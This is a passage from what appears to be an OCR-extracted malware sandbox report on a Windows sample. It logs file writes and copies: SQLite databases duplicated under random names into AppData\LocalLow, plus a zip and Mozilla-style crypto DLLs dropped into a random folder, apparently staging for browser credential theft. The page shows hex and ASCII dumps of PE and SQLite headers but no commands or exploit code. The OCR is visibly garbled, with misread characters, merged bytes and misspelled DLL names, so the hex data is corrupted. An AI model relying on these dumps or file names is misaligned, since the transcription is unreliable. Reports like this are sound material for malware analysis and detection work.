success or wait

success or wait

success or wait

Source

Count Address Symbol

164

1
1

433C03 WriteFile

433C03 WriteFile
43DEFC CopyFileW
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File Path
C:\Users\user\AppData\LocalLow\1xVPfvJcrg

C:\Users\user\AppData\LocalLow\RYwTiizs2t

Copyright null 2021

Offset
0

0

Length Value

73728

73728

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
33 0008 00 01 0100
40 20 20 00 00 00 02
00 00 00 24 00 00 00
00 00 00 00 00 00 00
00 18 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 02 00 2e
43 ¢1 05 00 00 00 02
07 f6 00 00 00 00 1b
07 fb 07 f6 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
330008 0001 0100
40 20 20 00 00 00 02
00 00 00 24 00 00 00
00 00 00 00 00 00 00
00 18 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 02 00 2e
43 ¢1 05 00 00 00 02
07 f6 00 00 00 00 1b
07 fb 07 f6 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Source

Ascii Completion Count Address Symbol
SQLite format 3.....@ ...... success or wait 1 43DEFC CopyFileW
$..

SQLite format 3.....@ ...... success or wait 1
S

43DEFC CopyFileW
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File Path

C:\Users\user\AppData\LocalLow\rQF69AzBla

C:\Users\user\AppData\LocalLow\JbcJeqCquL

Copyright null 2021

Offset
0

0

Length
20480

118784

Value

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
3300 100001 01 00
40 20 20 00 00 00 03
00 00 00 05 00 00 00
00 00 00 00 00 00 00
00 02 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 03 00 2e
43 c10d 0f f8 00 04
0d 20 00 0f 67 Of cf 0d
20 0f 38 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
3300100001 0100
40 20 20 00 00 00 02
00 00 00 1d 00 00 00
00 00 00 00 00 00 00
00 16 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 02 00 2e
43 ¢1 0500 00 00 01
0f fb 00 00 00 00 1c Of
fb 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

Ascii

SQLite format 3.....@ ......

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

43DEFC CopyFileW

43DEFC CopyFileW
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File Path

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\aR8pJ3hC8rG2sT.zip

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\aR8pJ3hC8rG2sT.zip

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\nssdbm3.dlI

Copyright null 2021

Offset Length Value

unknown 467

unknown O

unknown 16384

50 4b 03 04 14 00 00
00 08 00 9a 7a 6e 4e
3c 09 f8 7b 72 d2 00
00 d0 69 01 00 Ob 00
00 00 6e 73 73 64 62
6d 33 2e 64 6¢ 6¢ ec
fd 7f 7c 14 d5 d5 38
00 cf ee 4e 92 0d 59
d8 05 36 18 24 4a 90
a0 d1 a0 06 16 24 31
80 d9 84 dd 44 20 b0
61 c9 2e 11 13 b4 6a
4c b7 56 f9 bl 43 b0
12 08 4e 02 3b 19 b7
f5e9a3 7d ec 2f ab f5
f1 e9 0f db a7 b6 b5
80 d5 ea 86 d8 24 f8
13 81 5a 2c 54 a3 52
bd 71 63 8d 92 86 45
63 e6 3d e7 dc 99 dd
0d da ef f7 fb be 7f bf
fOc9 ec cc dc 3b f7 9e
7beeb9e79e 73 ee
b9 e7 d6 de 70 bf 60
1104 41 84 3f4d 13
84 83 02 ff 57 21 fc df
ff €599 04 61 ca ec 3f
4e 11 9e ca 7e 65 ce
41 d3 ea 57 e6 ac 6f
9 fa b6 82 cd 5b ef ba
7d eb cd df 2c b8 e5
e6 3b ef bc 2b 5¢ fO b5
db 0a b6 4a 77 16 7c
fd ce 82 15 6b fd 05 df
bc eb d6 db ae 9a 3c
79 52

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 18 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
24 00 00 00 00 00 00
00 1d b8 5a f0 59 d9
34 a359d9 34 a3 59
d9 34 a350 al a7 a3
55 d9 34 a3 80 bb 35
a25bd9 34 a3c7 79
f3 a3 51 d9 34 a3 80
bb 37 a2 58 d9 34 a3
80 bb 31 a2 53 d9 34
a3 80 bb 30 a2 52 d9
34 a3 7b b9 35 a2 5b
d9 34 a3 92 ba 35 a2
5a d9 34 a3 59 d9 35
a3 cad9 34a392ba
30a241d9 34 a392
ba 34 a2 58 d9 34 a3
92 ba cb a3 58 d9 34
a3 92 ba 36 a2 58 d9
34 a3 52 69 63 68 59
do 34

Mz

............ 1..L.IThis program
cannot be run in DOS
mode....

$.....2ZYAYAYAP..U.

4.5[4.y.Q4.7X4. 1.

S.4..0RA{5[4.5Z4Y.

5..4..0.A4..4X4...XA4
..6.X.4.RichY .4

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

402

1

6

433C03 WriteFile

433C03 WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow
\eE8sFOyG2eQ6fT7\pridap60.dll

Offset Length Value

unknown 16384

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\gipcap.dll unknown 16336

Copyright null 2021

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00353a60 77 71 5b
Oe 24 71 5b Oe 24 71
5b Oe 24 78 23 9d 24
73 5b Oe 24 a8 39 of
25 73 5b Oe 24 a8 39
0d 25 70 5b Oe 24 a8
39 0b 25 7b 5b Oe 24
a8 39 Oa 25 7a 5b Oe
24 53 3b 0f 25 73 5b
Oe 24 ba 38 0f 25 74
5b Oe 24 71 5b 0Of 24
3d 5b Oe 24 ba 38 Oa
25 74 5b Oe 24 ba 38
0Oe 25 70 5b Oe 24 ba
38 f1 24 70 5b Oe 24
ba 38 Oc 25 70 5b Oe
24 52 69 63 68 71 5b
0Oe 24 00 00 00 00 00
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 f8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 73 36 f1 9f 37 57 9f
cc 37 57 9f cc 37 57 9f
cc 3e 2f Oc cc 35 57 9f
cc ee 359e cd 3557
9f cc ee 35 9c cd 36
57 9f cc ee 35 9a cd
3e 57 9f cc ee 35 9b
cd 3c 57 9f cc 15 37
9e cd 34 57 9f cc 37
57 9e cc 2a 57 9f cc fc
34 9acd 36 57 9f cc fc
34 60 cc 36 57 9f cc fc
34 9d cd 36 57 9f cc
52 69 63 68 37 57 9f
cc 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 50 45 00 00
4c 01 05

.1..L.IThis program

cannot be run in DOS
mode....

$......
.%s[.$.9.%p[.$.9.%

[$.9

5:°wal.$q[.$q[.$x#.$s

{.$.9.%
2[.$S;.%5[.$.8.%t[.$q[.$=
[$.8
9%t[.$.8.%p[.$.8.$p[.$.8.%
p[.$Richq[.$.......

....l..L.IThis program

cannot be run in DOS
mode....

5W

.S6.7TW..7TW..7TW..>/..

-=5HBWELE L BW 5 SW 5L

<W..

7AW TW.*W..4..6

W..4
“.6W...4..6W..Rich7W........

APEL

Completion

success or wait

success or wait

Source

Count Address Symbol

2

1

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\softokn3.dll

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\ucrtbase.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 a2 6¢c 24 1c e6 0Od
4a 4f e6 0d 4a 4f e6
0d 4a 4f ef 75 d9 4f ea
0d 4a 4f 3f 6f 4b 4e e4
0d 4a 4f 3f 6f 49 4e e4
0d 4a 4f 3f 6f 4f 4e ec
0d 4a 4f 3f 6f 4e 4e ed
0d 4a 4f c4 6d 4b 4e
e4 0d 4a 4f 2d 6e 4b
4e e5 0d 4a 4f e6 0d
4b 4f 7e 0d 4a 4f 2d
6e 4e 4e 2 0d 4a 4f
2d 6e 4a 4e e7 0d 4a
4f 2d 6e b5 4f e7 0d
4a 4f 2d 6e 48 4e e7
0d 4a 4f 52 69 63 68
€6 0d 4a 4f 00 00 00
00 00 00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 b8 df 92 45 fc be fc
16 fc be fc 16 fc be fc
16 f5 c6 6f 16 cf be fc
16 fc be fd 16 70 be fc
16 8f dc 01 16 fd be fc
16 8f dc f8 17 e8 be fc
16 8f dc fc 17 fd be fc
16 8f dc ff 17 92 be fc
16 8f dc f9 17 a4 be fc
16 8f dc f2 17 9a bc fc
16 8f dc 03 16 fd be fc
16 8f dc fe 17 fd be fc
16 52 69 63 68 fc be
fc 16 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00

.1..L.IThis program
cannot be run in DOS
mode....

$....... 1$...0..J0..J0.u.0..

JO?0KN..JO?0IN..JO?
0ON..JO?0NN
..JO.mKN..JO-
nKN..JO..KO~.JO-n
NN..JO-nJN..JO-n.0O..JO-
nHN..JORIch..JO.......

.1..L.IThis program
cannot be run in DOS
mode....

Completion

success or wait

success or wait

Source
Count Address Symbol

g 41ACBE WriteFile

70 41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow
\eE8sFOyG2eQ6fT7\vcruntime140.dll

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\AccessibleHandler.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 f0 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 01 f9 a3 4e 45 98
cd 1d 45 98 cd 1d 45
98 cd 1d f1 04 22 1d
47 98 cd 1d 4c e0 5e
1d 4e 98 cd 1d 45 98
cc 1d 6¢ 98 cd 1d 9¢
fac9 1c 55 98 cd 1d
9c fa ce 1c 56 98 cd
1d 9c fa c8 1c 41 98
cd 1d 9c fa c5 1c 5f 98
cd 1d 9c fa cd 1c 44
98 cd 1d 9c fa 32 1d
44 98 cd 1d 9c fa cf 1c
4498 cd 1d 52 69 63
68 45 98 cd 1d 00 00
00 00 00 00 00 00 50
45 00 00 4c 01 05 00
Oc 38 27 59 00 00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 10 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 a0 79f35ae4 18
9d 09 e4 18 9d 09 e4
18 9d 09 c6 78 9e 08
ed 18 9d 09 c6 78 98
08 9b 18 9d 09 c6 78
99 08 f6 18 9d 09 3d
7a 9e 08 f6 18 9d 09
3d 7a 98 08 ff 18 9d
09 3d 7a 99 08 eb 18
9d 09 c6 78 9b 08 e3
18 9d 09 c6 78 9c 08
eb 18 9d 09 e4 18 9c
09 7a 18 9d 09 2f 7b
99 08 e0 18 9d 09 2f
7b 98 08 ef 18 9d 09
2f7b 9d 08 e5 18 9d
09 2f 7b 62 09 e5 18
9d 09 2f 7b 9f 08 e5
18 9d

cannot be run in DOS
mode....

EENENG /A

cannot be run in DOS
mode....

.1..L.IThis program

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

6

8

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\AccessibleMarshal.dll

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\breakpadinjector.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 f8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
0053 e5ee 06 17 84
8055 17 84 80 55 17
84 80 55 1e fc 13 55
15 84 80 55 ce e6 81
54 15 84 80 55 ce €6
83 54 16 84 80 55 ce
€6 85 54 1e 84 80 55
ce e6 84 54 1c 84 80
5535 e4 8154 10 84
805517 84815521
84 80 55 dc e7 84 54
1384 80 55 dc e7 80
54 16 84 80 55 dc e7
7f 55 16 84 80 55 dc
e7 8254 16 84 80 55
52 69 63 68 17 84 80
55 00 00 00 00 00 00
00 00 50 45 00 00 4c
0106

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
0073831579 37 €2
7b 2a 37 e2 7b 2a 37
e27b2a 158278 2b
3ee27b2al15827e
2b 49 e2 7b 2a 15 82
7f2b 25 e2 7b 2a ee
80782b24e27b2a
ee 80 7f2b 27 e27b
2aee 807e2bl4e2
7b 2a 1582 7a 2b 34
e27b2a37e27a2a
41e27b2afc8l7e
2b3ee27b2afc8l
7b2b 36 e2 7b 2afc
8184 2a36e27b2a
fc 8179 2b 36 €2 7b
2a 52 69 63 68 37 €2
7b 2a 00 00 00 00 00
00 00

Ascii

V] 72— @.....

.1..L.IThis program
cannot be run in DOS
mode....

$ LULULULLUL
ULT UL T.LULT.L UL T
LUS.T..U..ULU..T...U..
.T..U..U..U..T...URich...

............ 1..L.IThis program
cannot be run in DOS
mode....$....... S.y7.{*7.{*7.
x> fx L~ {5 +%.
X+~

{2+ 4 7. AL ~+> {5
{+6.{*...*6.{*..y+6.{*Rich7.

Completion

success or wait

success or wait

Source

Count Address Symbol

2

8

41ACBE WriteFile

41ACBE WriteFile
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File Path

Offset Length Value

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\freebl3.dll unknown 16384

C:\Users\user\AppData\LocalLow
\eE8sFOyG2eQ6fT7\IA2Marshal.dll

Copyright null 2021

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 20 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 c0 f0 2f 05 84 91
4156 84 91 41 56 84
91 41 56 8d e9 d2 56
88 91 41 56 5d f3 40
57 86 91 41 56 1a 31
86 56 85 91 41 56 5d
342 57 80 91 41 56
5d f3 44 57 8f 91 41
56 5d f3 45 57 8f 91
41 56 a6 f1 40 57 80
91 41 56 4f f2 40 57
87 914156849140
56 d6 91 41 56 4f 2
42 57 86 91 41 56 4f
f2 45 57 c0 91 41 56
4ff2 41 57 8591 41
56 4f f2 be 56 85 91
41 56 4f f2 43 57 85
9141

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 a9 7e e4 18 ed 1f
8a 4b ed 1f 8a 4b ed
1f 8a 4b e4 67 19 4b
ef 1f 8a 4b 34 7d 8b
4a ef 1f 8a 4b 34 7d
89 4a ec 1f 8a 4b 34
7d 8f 4a e4 1f 8a 4b
34 7d 8e 4a e6 1f 8a
4b cf 7f 8c 4a ec 1f 8a
4b cf 7f 8b 4a e4 1f 8a
4b ed 1f 8b 4b ad 1f
8a 4b 26 7c 8e 4a ca
1f 8a 4b 26 7c 8a 4a
ec 1f 8a 4b 26 7¢ 75
4b ec 1f 8a 4b 26 7c
88 4a ec 1f 8a 4b 52
69 63 68 ed 1f 8a 4b
00 00 00 00 00 00 00

L.IThis program
cannot be run in DOS
mode....

$.oood L AV.AV.AV..V..
AV].@W..AV.1.V..AV].BW.

.AV].DW

.AVL.EW.AV..@W..AVO.

@W..AV..

@V..AVO.BW..AVO.EW..A

VO.AW.AV
0O..V.AVO.CW. A

............ 1..L.IThis program

cannot be run in DOS
mode....
$ nKLKLKGgKLL

KRich...K.......

K4}.J...K4}.J...K4}.J...Ka}.
3K K J KK K&
J..K&|.J...K&IUK...K&].J...

Completion

success or wait

success or wait

Source

Count Address Symbol

21

5

41ACBE WriteFile

41ACBE WriteFile

Page 73 of 245



File Path

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ldap60.dll unknown 16384

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\Idif60.dlIl

Copyright null 2021

Offset Length Value

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 10 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 el d4 51 00 a5 b5
3f 53 a5 b5 3f 53 a5
b5 3f 53 ac cd ac 53
b5 b5 3f 53 7c d7 3e
52 a7 b5 3f 53 3b 15
f8 53 a7 b5 3f 53 7¢
d7 3c 52 a7 b5 3f 53
7c d7 3a 52 af b5 3f
53 7c d7 3b 52 ae b5
3f53 87 d5 3e 52 a6
b5 3f 53 a5 b5 3e 53
6 b5 3f 53 6e d6 3b
52 e5 b5 3f 53 6e d6
3f 52 a4 b5 3f 53 6e
d6 c0 53 a4 b5 3f 53
6e d6 3d 52 a4 b5 3f
53 52 69 63 68 a5 b5
3f 53 00 00 00 00 00
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 08 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 c3 85 f3 39 87 e4
9d 6a 87 e4 9d 6a 87
e4 9d 6a 8e 9c Oe 6a
8f e4 9d 6a 5e 86 9c
6b 84 e4 9d 6a 5e 86
9e 6b 86 e4 9d 6a 5e
86 98 6b 8d e4 9d 6a
5e 86 99 6b 8c e4 9d
6a a5 84 9c 6b 85 e4
9d 6a 87 e4 9c 6a a3
e4 9d 6a 4c 87 99 6b
86 e4 9d 6a 4c 87 9d
6b 86 e4 9d 6a 4c 87
62 6a 86 e4 9d 6a 4c
87 9f 6b 86 e4 9d 6a
52 69 63 68 87 e4 9d
6a 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

cannot be run in DOS
mode....$......... Q..78..?
S..?S..S..?S|.>R..?S;..S..?
S|.<R..?S|..R..?S|.;R..?
S..>R..?S..>S..?Sn.;R..?
Sn.?R..?Sn..S..?Sn.=R..?
SRich..?S.......

............ 1..L.IThis program
cannot be run in DOS
mode....

ke
K..jL.bj

Kk._jRich...j

.1..L.IThis program

Completion

success or wait

success or wait

Source

Count Address Symbol

g

2

41ACBE WriteFile

41ACBE WriteFile
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File Path Offset

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\Igpllibs.dll unknown 16384

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\lIbEGL.dIl unknown 16384

Copyright null 2021

Length Value

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00

00 000000000000 mode....$............ Lol |

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 28 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 e3 0d 7f ed a7 6¢
11 be a7 6¢ 11 be a7
6c 11 be ae 14 82 be
b3 6¢ 11 be 7e Oe 10
bf a5 6¢ 11 be 39 cc
dé be a5 6¢ 11 be 7e
Oe 12 bf a0 6¢ 11 be
7e Oe 14 bf b7 6¢ 11
be 7e Oe 15 bf ac 6¢c
11 be 85 Oc 10 bf a3
6¢c 11 be 6¢ Of 10 bf
a4 6¢ 11 be a7 6¢ 10
be ce 6¢ 11 be a7 6¢
11 be a5 6¢ 11 be 6¢
0f 15 bf a0 6¢ 11 be
6c Of 14 bf a5 6¢ 11
be 6¢ 0f 11 bf a6 6¢
11 be 6c Of ee be a6
6c 11

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 10 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 db 2f 15 8e 9f 4e
7b dd 9f 4e 7b dd 9f
4e 7b dd 96 36 €8 dd
9d 4e 7b dd 46 2c 7a
dc 9d 4e 7b dd 46 2c
78 dc 9e 4e 7b dd 46
2c 7e dc 95 4e 7b dd
46 2c 7f dc 94 4e 7b
dd bd 2e 7a dc 9d 4e
7b dd 54 2d 7a dc 9c
4e 7b dd 9f 4e 7a dd
fb 4e 7b dd 54 2d 7e
dc 9e 4e 7b dd 54 2d
7b dc 9e 4e 7b dd 54
2d 84 dd 9e 4e 7b dd
54 2d 79 dc 9e 4e 7b
dd 52 69 63 68 9f 4e
7b dd 00 00 00 00 00
00 00

Ascii

V] 72— @.....

(... .L.!This program
cannot be run in DOS

............ 1..L.IThis program
cannot be run in DOS
mode....

S N{LN{LN{.6...N
{.F,z.N{F.x.N{.F,~..N{.F,..
N{...z.N{LT-

Z.N{L.Nz N{T-~.N{.T-
LNLT- N T-y. N{

Completion

success or wait

success or wait

Source

Count Address Symbol

4

2

41ACBE WriteFile

41ACBE WriteFile
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File Path

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\MapiProxy.dll

C:\Users\user\AppData\LocalLow
\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll

Copyright null 2021

Offset Length Value

unknown 16384

unknown 16384

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
